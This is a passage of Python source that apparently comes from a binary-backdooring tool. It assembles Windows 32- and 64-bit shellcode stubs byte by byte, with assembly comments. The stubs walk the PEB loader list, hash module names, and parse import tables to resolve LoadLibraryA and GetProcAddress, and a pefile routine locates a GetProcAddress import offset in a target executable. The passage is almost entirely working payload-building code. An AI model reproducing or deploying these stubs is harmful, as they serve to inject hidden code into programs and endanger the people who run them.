"\x8b\x12" # mov edx,DWORD PTR [edx]
"\x75\xdb" # jne 0xf
, 'iso-8859-1')
# kernel32.dll in ebx
shellcode3 += bytes("\x6A\x00" # push 0
"\x68\x61\x72\x79\x41" # push LoadLibraryA\x00
"\x68\x4c\x69\x62\x72"
"\x68\x4c\x6f\x61\x64"
"\x54" # push esp
"\x53" # push ebx (kernel32.dll handle)
"\x89\xE9" # mov ecx,ebp getprocaddr
"\xFF\x11" # call dword ptr [ecx] # call dword ptr [ecx]
"\x50" # push eax ; LLA in EAX
"\x89\xe3" # mov ebx, esp ; mov ptr to LLA in ebx
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
, 'iso-8859-1')
# LOADLIBA in EBX
# GETPROCADDR in EBP
return shellcode1 + shellcode2 + shellcode3
def loaded_gpafc_iat_parser_stub(self):
self.parser_stub = 'ExternGPAFC'
shellcode1 = bytes("\xfc" # cld
"\x60" # pushad
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,[fs:edx+0x30] ; PEB
"\x8b\x52\x0c" # mov edx,[edx+0xc] ; PEB_LDR_DATA
"\x8b\x52\x14" # mov edx,[edx+0x14] ; ptr Flink Linked List in InMemoryOrderModuleList
# next_mod
"\x8b\x72\x28" # mov esi,[edx+0x28] ; Points to UTF-16 module name in LDR_MODULE
"\x6a\x18" # push byte +0x18 ; Set loop counter length
"\x59" # pop ecx ; Set loop counter length
"\x31\xff" # xor edi,edi ; clear edi to 0
# loop_modnam
"\x31\xc0" # xor eax,eax ; clear eax to 0
"\xac" # lodsb ; load last to esi
"\x3c\x61" # cmp al,0x61 ; check for capitalization
"\x7c\x02" # jl 0x20 ; if < 0x61 jump
"\x2c\x20" # sub al,0x20 ; capitalize the letter
# not_lowercase
"\xc1\xcf\x0d" # ror edi,byte 0xd ; rotate edi right 0xd bits
"\x01\xc7" # add edi,eax ; add sum to edi
"\xe2\xf0" # loop 0x17 ; continue until loop ends
, "iso-8859-1")
shellcode2 = b"\x81\xff" # cmp edi, DLL_HASH
shellcode2 += struct.pack("<I", self.impts.DLL_INFO['hash'])
shellcode3 = bytes("\x8b\x5a\x10" # mov ebx,[edx+0x10] ; move module handle addr to ebx
"\x8b\x12" # mov edx,[edx] ; set edx base for next module interation
"\x75\xdb" # jnz 0xf
# iatparser
"\x89\xda" # mov edx,ebx ; set as edx as image base
"\x03\x52\x3c" # add edx,[edx+0x3c] ; PE
"\x8b\xba\x80\x00\x00\x00" # mov edi,[edx+0x80] ; Import Table RVA
"\x01\xdf" # add edi,ebx
# findImport
"\x8b\x57\x0c" # mov edx, dword ptr [edi + 0xc] ;Offset for Import Directory Table Name RVA
"\x03\xd3" # add edx, ebx ;Offset in memory
, 'iso-8859-1')
if self.impts.DLL_INFO['importname'] == 'kernelbase.dll': #it's actually in kernelbase
shellcode3 += (
b"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [edx], 0x4e52454b ;Replace this so any API can be called
b"\x75\x09" # JE short
b"\x81\x7A\x04\x45\x4C\x42\x41" # CMP DWORD PTR DS:[EDX+4],41424C45 ; elba
b"\x74\x05" # je 0x102f ; jmp saveBase
b"\x83\xc7\x14" # add edi, 0x14 ; inc to next import
b"\xeb\xe5" # jmp 0x101d ; Jmp findImport
)
else:
sys.stderr.write('[!] What did you just pass to location (-l)? {0}\n'.format(self.impts.importname))
sys.exit(-1)
shellcode3 += bytes(
# saveBase
"\x57" # push edi
"\xeb\x39" # jmp short 0x9f
# setbounds
"\x8b\x57\x10" # mov edx,[edi+0x10]
"\x01\xda" # add edx,ebx
"\x8b\x37" # mov esi,[edi]
"\x01\xde" # add esi,ebx
"\x89\xd1" # mov ecx,edx
"\x81\xc1\x00\x00\xff\x00" # add ecx,0xff0000
"\x31\xed" # xor ebp,ebp
# findApi
"\x8b\x06" # mov eax,[esi]
"\x01\xd8" # add eax,ebx
"\x83\xc0\x02" # add eax,byte +0x2
"\x39\xc1" # cmp ecx,eax
"\x72\x13" # jc 0x97
"\x8b\x7c\x24\x04" # mov edi,[esp+0x4]
"\x39\x38" # cmp [eax],edi
"\x75\x0b" # jnz 0x97
"\x3e\x8b\x7c\x24\x08" # mov edi,[ds:esp+0x8]
"\x39\x78\x08" # cmp [eax+0x8],edi
"\x75\x01" # jnz 0x97
"\xc3" # ret
# Increment
"\x83\xc5\x04" # add ebp,byte +0x4
"\x83\xc6\x04" # add esi,byte +0x4
"\xeb\xda" # jmp short 0x77
# loadApis
"\x68\x64\x64\x72\x65" # push 0x65726464 ;ddre
"\x68\x47\x65\x74\x50" # push 0x50746547 ;Getp
"\xe8\xb8\xff\xff\xff" # call 0x1032 å ;call setBounds
"\x03\xd5" # add edx, ebp ;
"\x5d" # pop ebp ;
"\x5d" # pop ebp ;
"\x8b\xca" # mov ecx, edx ;Move GetProcaddress thunk addr into ecx
, 'iso-8859-1')
#GPA in ECX
shellcode3 += b"\x89\xCD" # mov ebp, ecx GPA in EBP
shellcode3 += bytes("\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,DWORD PTR fs:[edx+0x30]
"\x8b\x52\x0c" # mov edx,DWORD PTR [edx+0xc]
"\x8b\x52\x14" # mov edx,DWORD PTR [edx+0x14]
"\x8b\x72\x28" # mov esi,DWORD PTR [edx+0x28]
"\x6a\x18" # push 0x18
"\x59" # pop ecx
"\x31\xff" # xor edi,edi
"\x31\xc0" # xor eax,eax
"\xac" # lods al,BYTE PTR ds:[esi]
"\x3c\x61" # cmp al,0x61
"\x7c\x02" # jl 0x20
"\x2c\x20" # sub al,0x20
"\xc1\xcf\x0d" # ror edi,0xd
"\x01\xc7" # add edi,eax
"\xe2\xf0" # loop 0x17
"\x81\xff\x5b\xbc\x4a\x6a" # cmp edi,0x6a4abc5b
"\x8b\x5a\x10" # mov ebx,DWORD PTR [edx+0x10]
"\x8b\x12" # mov edx,DWORD PTR [edx]
"\x75\xdb" # jne 0xf
, 'iso-8859-1')
# kernel32.dll in ebx
shellcode3 += bytes("\x6A\x00" # push 0
"\x68\x61\x72\x79\x41" # push LoadLibraryA\x00
"\x68\x4c\x69\x62\x72"
"\x68\x4c\x6f\x61\x64"
"\x8B\xcc" # mov ecx, esp
"\x6A\x00" # push 0 ; for the getprocaddressforcaller prototype
"\x51" # push ecx ; push ptr to loadlibrary on the stack
#"\x54" # push esp
"\x53" # push ebx (kernel32.dll handle)
"\x89\xE9" # mov ecx,ebp getprocaddr
"\xFF\x11" # call dword ptr [ecx] # call dword ptr [ecx]
"\x50" # push eax ; LLA in EAX
"\x89\xe3" # mov ebx, esp ; mov ptr to LLA in ebx
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
, 'iso-8859-1')
# LOADLIBA in EBX
# GETPROCADDR in EBP
return shellcode1 + shellcode2 + shellcode3
def OffsetGPA(self):
self.parser_stub = 'GPA'
self.importname = 'main_module'
self.check_imports()
shellcode = bytes( "\xfc"
"\x60" # pushad
"\x31\xd2" # xor edx, edx ;prep edx for use
"\x64\x8b\x52\x30" # mov edx, dword ptr fs:[edx + 0x30] ;PEB
"\x8b\x52\x08" # mov edx, dword ptr [edx + 8] ;PEB.imagebase
"\x8b\xda" # mov ebx, edx ;Set ebx to imagebase
"\xb9" # mov ecx, XXXX
, 'iso-8859-1'
)
#mov ecx, imp_offset
#add ecx, ebx
shellcode += struct.pack('<I', self.imp_offset)
# GPA in ECX
shellcode += bytes(
"\x01\xD9" # add ecx, ebx
"\x89\xCD" # mov ebp, ecx # mov GPA to ebp
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,DWORD PTR fs:[edx+0x30]
"\x8b\x52\x0c" # mov edx,DWORD PTR [edx+0xc]
"\x8b\x52\x14" # mov edx,DWORD PTR [edx+0x14]
"\x8b\x72\x28" # mov esi,DWORD PTR [edx+0x28]
"\x6a\x18" # push 0x18
"\x59" # pop ecx
"\x31\xff" # xor edi,edi
"\x31\xc0" # xor eax,eax
"\xac" # lods al,BYTE PTR ds:[esi]
"\x3c\x61" # cmp al,0x61
"\x7c\x02" # jl 0x20
"\x2c\x20" # sub al,0x20
"\xc1\xcf\x0d" # ror edi,0xd
"\x01\xc7" # add edi,eax
"\xe2\xf0" # loop 0x17
"\x81\xff\x5b\xbc\x4a\x6a" # cmp edi,0x6a4abc5b
"\x8b\x5a\x10" # mov ebx,DWORD PTR [edx+0x10]
"\x8b\x12" # mov edx,DWORD PTR [edx]
"\x75\xdb" # jne 0xf
# kernel32.dll in ebx
"\x6A\x00" # push 0
"\x68\x61\x72\x79\x41" # push LoadLibraryA\x00
"\x68\x4c\x69\x62\x72"
"\x68\x4c\x6f\x61\x64"
"\x54" # push esp
"\x53" # push ebx (kernel32.dll handle)
"\x89\xE9" # mov ecx,ebp getprocaddr
"\xFF\x11" # call dword ptr [ecx] # call dword ptr [ecx]
"\x50" # push eax ; LLA in EAX
"\x89\xe3" # mov ebx, esp ; mov ptr to LLA in ebx
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
, 'iso-8859-1')
return shellcode
def ExternOffsetGPA(self):
self.parser_stub = 'GPA'
self.importname = 'main_module'
self.check_imports()
shellcode = bytes("\xfc" # cld
"\x60" # pushad
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,[fs:edx+0x30] ; PEB
"\x8b\x52\x0c" # mov edx,[edx+0xc] ; PEB_LDR_DATA
"\x8b\x52\x14" # mov edx,[edx+0x14] ; ptr Flink Linked List in InMemoryOrderModuleList
# next_mod
"\x8b\x72\x28" # mov esi,[edx+0x28] ; Points to UTF-16 module name in LDR_MODULE
"\x6a\x18" # push byte +0x18 ; Set loop counter length
"\x59" # pop ecx ; Set loop counter length
"\x31\xff" # xor edi,edi ; clear edi to 0
# loop_modnam
"\x31\xc0" # xor eax,eax ; clear eax to 0
"\xac" # lodsb ; load last to esi
"\x3c\x61" # cmp al,0x61 ; check for capitalization
"\x7c\x02" # jl 0x20 ; if < 0x61 jump
"\x2c\x20" # sub al,0x20 ; capitalize the letter
# not_lowercase
"\xc1\xcf\x0d" # ror edi,byte 0xd ; rotate edi right 0xd bits
"\x01\xc7" # add edi,eax ; add sum to edi
"\xe2\xf0" # loop 0x17 ; continue until loop ends
, "iso-8859-1")
shellcode += b"\x81\xff" # cmp edi, DLL_HASH
shellcode += struct.pack("<I", self.impts.DLL_INFO['hash'])
shellcode += bytes("\x8b\x5a\x10" # mov ebx,[edx+0x10] ; move module handle addr to ebx
"\x8b\x12" # mov edx,[edx] ; set edx base for next module interation
"\x75\xdb" # jnz 0xf
# iatparser
"\x89\xda" # mov edx,ebx ; set as edx as image base
"\xb9" # mov ecx, XXXX
, 'iso-8859-1'
)
#mov ecx, imp_offset
#add ecx, ebx
shellcode += struct.pack('<I', self.imp_offset)
# GPA in ECX
shellcode += bytes(
"\x01\xD9" # add ecx, ebx
"\x89\xCD" # mov ebp, ecx # mov GPA to ebp
"\x31\xd2" # xor edx,edx
"\x64\x8b\x52\x30" # mov edx,DWORD PTR fs:[edx+0x30]
"\x8b\x52\x0c" # mov edx,DWORD PTR [edx+0xc]
"\x8b\x52\x14" # mov edx,DWORD PTR [edx+0x14]
"\x8b\x72\x28" # mov esi,DWORD PTR [edx+0x28]
"\x6a\x18" # push 0x18
"\x59" # pop ecx
"\x31\xff" # xor edi,edi
"\x31\xc0" # xor eax,eax
"\xac" # lods al,BYTE PTR ds:[esi]
"\x3c\x61" # cmp al,0x61
"\x7c\x02" # jl 0x20
"\x2c\x20" # sub al,0x20
"\xc1\xcf\x0d" # ror edi,0xd
"\x01\xc7" # add edi,eax
"\xe2\xf0" # loop 0x17
"\x81\xff\x5b\xbc\x4a\x6a" # cmp edi,0x6a4abc5b
"\x8b\x5a\x10" # mov ebx,DWORD PTR [edx+0x10]
"\x8b\x12" # mov edx,DWORD PTR [edx]
"\x75\xdb" # jne 0xf
# kernel32.dll in ebx
"\x6A\x00" # push 0
"\x68\x61\x72\x79\x41" # push LoadLibraryA\x00
"\x68\x4c\x69\x62\x72"
"\x68\x4c\x6f\x61\x64"
"\x54" # push esp
"\x53" # push ebx (kernel32.dll handle)
"\x89\xE9" # mov ecx,ebp getprocaddr
"\xFF\x11" # call dword ptr [ecx] # call dword ptr [ecx]
"\x50" # push eax ; LLA in EAX
"\x89\xe3" # mov ebx, esp ; mov ptr to LLA in ebx
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
"\x58" # pop eax, to align stack
, 'iso-8859-1')
return shellcode
class stubs_64:
def __init__(self, impts):
self.impts = impts
self.imp_offset = 0
def check_imports(self):
####################################
#### Parse imports via pefile ######
#make this option only if a IAT based shellcode is selected
pe = pefile.PE(self.impts.targetbinary, fast_load=True)
sys.stderr.write("[*] Parsing data directories...\n")
pe.parse_data_directories()
try:
for entry in pe.DIRECTORY_ENTRY_IMPORT:
for imp in entry.imports:
if imp.name is None:
continue
if imp.name.lower() == b'GetProcaddress'.lower():
self.imp_offset = imp.address - pe.OPTIONAL_HEADER.ImageBase
sys.stderr.write("[*] GPA offset: {0}\n".format(hex(self.imp_offset)))
# Easter Egg?
#if imp.name.lower() == b'GetProcaddressforcaller'.lower():
# self.imp_offset = imp.address - pe.OPTIONAL_HEADER.ImageBase
# sys.stderr.write("offset: {0}\n".format(hex(self.imp_offset)))
except Exception as e:
sys.stderr.write("Exception: {0}\n".format(e))
def lla_gpa_parser_stub(self):
parser_stub = 'LLAGPA'
importname = 'main_module'
shellcode = bytes(
"\xfc" # cld
"\x52" # push rdx
"\x51" # push rcx
"\x57" # push rdi
"\x53" # push rbx
"\x56" # push rsi
"\x41\x50" # push r8
"\x41\x51" # push r9
"\x41\x54" # push r12
"\x41\x55" # push r13
"\x41\x56" # push r14
"\x41\x57" # push r15
"\x48\x31\xd2" # xor rdx, rdx
"\x65\x48\x8b\x52\x60" # mov rdx, qword ptr gs:[rdx + 0x60]
"\x48\x8b\x52\x10" # mov rdx, qword ptr [rdx + 0x10]
"\x49\x89\xd5" # mov r13, rdx
"\x8b\x42\x3c" # mov eax, dword ptr [rdx + 0x3c]
"\x48\x01\xc2" # add rdx, rax
"\x8b\xba\x90\x00\x00\x00" # mov edi, dword ptr [rdx + 0x90]
"\x4c\x01\xef" # add rdi, r13
"\x8b\x57\x0c" # mov edx, dword ptr [rdi + 0xc]
"\x4c\x01\xea" # add rdx, r13
"\x81\x3a\x4b\x45\x52\x4e" # cmp dword ptr [rdx], 0x4e52454b
"\x75\x09" # jne 0x47
"\x81\x7a\x04\x45\x4c\x33\x32" # cmp dword ptr [rdx + 4], 0x32334c45
"\x74\x06" # je 0x4d
"\x48\x83\xc7\x14" # add rdi, 0x14
"\xeb\xe3" # jmp 0x30
"\x57" # push rdi
"\xeb\x47" # jmp 0x97
"\x8b\x57\x10" # mov edx, dword ptr [rdi + 0x10]
"\x4c\x01\xea" # add rdx, r13
"\x8b\x37" # mov esi, dword ptr [rdi]